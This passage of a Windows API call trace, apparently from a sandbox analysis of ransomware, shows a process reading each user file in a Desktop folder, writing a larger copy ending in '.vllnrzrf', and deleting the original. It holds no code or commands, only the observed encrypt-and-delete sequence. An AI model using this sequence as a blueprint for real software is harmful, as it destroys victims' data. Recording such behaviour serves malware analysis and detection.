(hObject=0x464) returned 1 [0089.674] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", lpFilePart=0x0) returned 0x40 [0089.674] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", lpFilePart=0x0) returned 0x40 [0089.674] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\6j2ngsmir.mkv")) returned 1 [0089.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", lpFilePart=0x0) returned 0x3b [0089.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", lpFilePart=0x0) returned 0x3b [0089.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", lpFilePart=0x0) returned 0x3b [0089.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0089.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\covv.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0089.677] GetFileType (hFile=0x464) returned 0x1 [0089.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0089.677] GetFileType (hFile=0x464) returned 0x1 [0089.677] GetFileSize (in: hFile=0x464, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0x16a7a [0089.677] ReadFile (in: hFile=0x464, lpBuffer=0x1245e600, nNumberOfBytesToRead=0x16a7a, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x1245e600*, lpNumberOfBytesRead=0x1ce8e458*=0x16a7a, lpOverlapped=0x0) returned 1 [0089.679] CloseHandle (hObject=0x464) returned 1 [0089.779] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png.vllnrzrf", lpFilePart=0x0) returned 0x44 [0089.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0089.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\covv.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0089.780] GetFileType (hFile=0x464) returned 0x1 [0089.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0089.803] GetFileType (hFile=0x464) returned 0x1 [0089.803] WriteFile (in: hFile=0x464, lpBuffer=0x124e6518*, nNumberOfBytesToWrite=0x16c7a, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x124e6518*, lpNumberOfBytesWritten=0x1ce8e4b8*=0x16c7a, lpOverlapped=0x0) returned 1 [0089.805] CloseHandle (hObject=0x464) returned 1 [0089.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", lpFilePart=0x0) returned 0x3b [0089.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png", lpFilePart=0x0) returned 0x3b [0089.807] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\CoVv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\covv.png")) returned 1 [0089.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", lpFilePart=0x0) returned 0x3c [0089.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", lpFilePart=0x0) returned 0x3c [0089.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", lpFilePart=0x0) returned 0x3c [0089.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0089.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\jt74k.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0089.810] GetFileType (hFile=0x464) returned 0x1 [0089.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0089.811] GetFileType (hFile=0x464) returned 0x1 [0089.811] GetFileSize (in: hFile=0x464, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0xb713 [0089.811] ReadFile (in: hFile=0x464, lpBuffer=0x2445d10, nNumberOfBytesToRead=0xb713, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x2445d10*, lpNumberOfBytesRead=0x1ce8e458*=0xb713, lpOverlapped=0x0) returned 1 [0089.813] CloseHandle (hObject=0x464) returned 1 [0090.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi.vllnrzrf", lpFilePart=0x0) returned 0x45 [0090.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0090.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\jt74k.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0090.391] GetFileType (hFile=0x464) returned 0x1 [0090.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0090.392] GetFileType (hFile=0x464) returned 0x1 [0090.392] WriteFile (in: hFile=0x464, lpBuffer=0x2486878*, nNumberOfBytesToWrite=0xb913, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x2486878*, lpNumberOfBytesWritten=0x1ce8e4b8*=0xb913, lpOverlapped=0x0) returned 1 [0090.394] CloseHandle (hObject=0x464) returned 1 [0090.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", lpFilePart=0x0) returned 0x3c [0090.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi", lpFilePart=0x0) returned 0x3c [0090.405] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\Jt74k.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\jt74k.avi")) returned 1 [0090.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", lpFilePart=0x0) returned 0x3e [0090.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", lpFilePart=0x0) returned 0x3e [0090.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", lpFilePart=0x0) returned 0x3e [0090.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0090.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\qxgvuv_.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0090.408] GetFileType (hFile=0x464) returned 0x1 [0090.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0090.408] GetFileType (hFile=0x464) returned 0x1 [0090.408] GetFileSize (in: hFile=0x464, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0xb725 [0090.409] ReadFile (in: hFile=0x464, lpBuffer=0x2492d68, nNumberOfBytesToRead=0xb725, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x2492d68*, lpNumberOfBytesRead=0x1ce8e458*=0xb725, lpOverlapped=0x0) returned 1 [0090.411] CloseHandle (hObject=0x464) returned 1 [0092.663] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi.vllnrzrf", lpFilePart=0x0) returned 0x47 [0092.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0092.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\qxgvuv_.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0092.664] GetFileType (hFile=0x43c) returned 0x1 [0092.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0092.664] GetFileType (hFile=0x43c) returned 0x1 [0092.665] WriteFile (in: hFile=0x43c, lpBuffer=0x2212bd8*, nNumberOfBytesToWrite=0xb925, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x2212bd8*, lpNumberOfBytesWritten=0x1ce8e4b8*=0xb925, lpOverlapped=0x0) returned 1 [0092.673] CloseHandle (hObject=0x43c) returned 1 [0093.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", lpFilePart=0x0) returned 0x3e [0093.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi", lpFilePart=0x0) returned 0x3e [0093.441] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\QXGVUV_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\qxgvuv_.avi")) returned 1 [0093.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", lpFilePart=0x0) returned 0x46 [0093.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", lpFilePart=0x0) returned 0x46 [0093.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", lpFilePart=0x0) returned 0x46 [0093.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0093.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\wamxn_dn7o-c3wq.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0093.444] GetFileType (hFile=0x43c) returned 0x1 [0093.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0093.444] GetFileType (hFile=0x43c) returned 0x1 [0093.444] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0x189c2 [0093.445] ReadFile (in: hFile=0x43c, lpBuffer=0x12201448, nNumberOfBytesToRead=0x189c2, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x12201448*, lpNumberOfBytesRead=0x1ce8e458*=0x189c2, lpOverlapped=0x0) returned 1 [0093.448] CloseHandle (hObject=0x43c) returned 1 [0093.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt.vllnrzrf", lpFilePart=0x0) returned 0x4f [0093.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0093.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\wamxn_dn7o-c3wq.odt.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0093.530] GetFileType (hFile=0x43c) returned 0x1 [0093.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0093.530] GetFileType (hFile=0x43c) returned 0x1 [0093.530] WriteFile (in: hFile=0x43c, lpBuffer=0x122b6e08*, nNumberOfBytesToWrite=0x18bc2, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x122b6e08*, lpNumberOfBytesWritten=0x1ce8e4b8*=0x18bc2, lpOverlapped=0x0) returned 1 [0093.533] CloseHandle (hObject=0x43c) returned 1 [0093.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", lpFilePart=0x0) returned 0x46 [0093.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt", lpFilePart=0x0) returned 0x46 [0093.537] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\WaMXn_DN7O-C3wQ.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\wamxn_dn7o-c3wq.odt")) returned 1 [0093.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", lpFilePart=0x0) returned 0x45 [0093.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", lpFilePart=0x0) returned 0x45 [0093.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", lpFilePart=0x0) returned 0x45 [0093.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0093.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\zbgrivh-h7pmk-.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0093.541] GetFileType (hFile=0x43c) returned 0x1 [0093.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0093.542] GetFileType (hFile=0x43c) returned 0x1 [0093.542] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0x6bc4 [0093.542] ReadFile (in: hFile=0x43c, lpBuffer=0x2244e18, nNumberOfBytesToRead=0x6bc4, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x2244e18*, lpNumberOfBytesRead=0x1ce8e458*=0x6bc4, lpOverlapped=0x0) returned 1 [0093.543] CloseHandle (hObject=0x43c) returned 1 [0093.553] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif.vllnrzrf", lpFilePart=0x0) returned 0x4e [0093.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0093.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\zbgrivh-h7pmk-.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0093.554] GetFileType (hFile=0x43c) returned 0x1 [0093.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0093.554] GetFileType (hFile=0x43c) returned 0x1 [0093.554] WriteFile (in: hFile=0x43c, lpBuffer=0x2279c70*, nNumberOfBytesToWrite=0x6dc4, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x2279c70*, lpNumberOfBytesWritten=0x1ce8e4b8*=0x6dc4, lpOverlapped=0x0) returned 1 [0093.556] CloseHandle (hObject=0x43c) returned 1 [0093.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", lpFilePart=0x0) returned 0x45 [0093.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif", lpFilePart=0x0) returned 0x45 [0093.561] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\zbgRIvH-h7PmK-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\zbgrivh-h7pmk-.gif")) returned 1 [0093.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", lpFilePart=0x0) returned 0x3b [0093.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", lpFilePart=0x0) returned 0x3b [0093.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", lpFilePart=0x0) returned 0x3b [0093.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0093.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\_prz.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0093.564] GetFileType 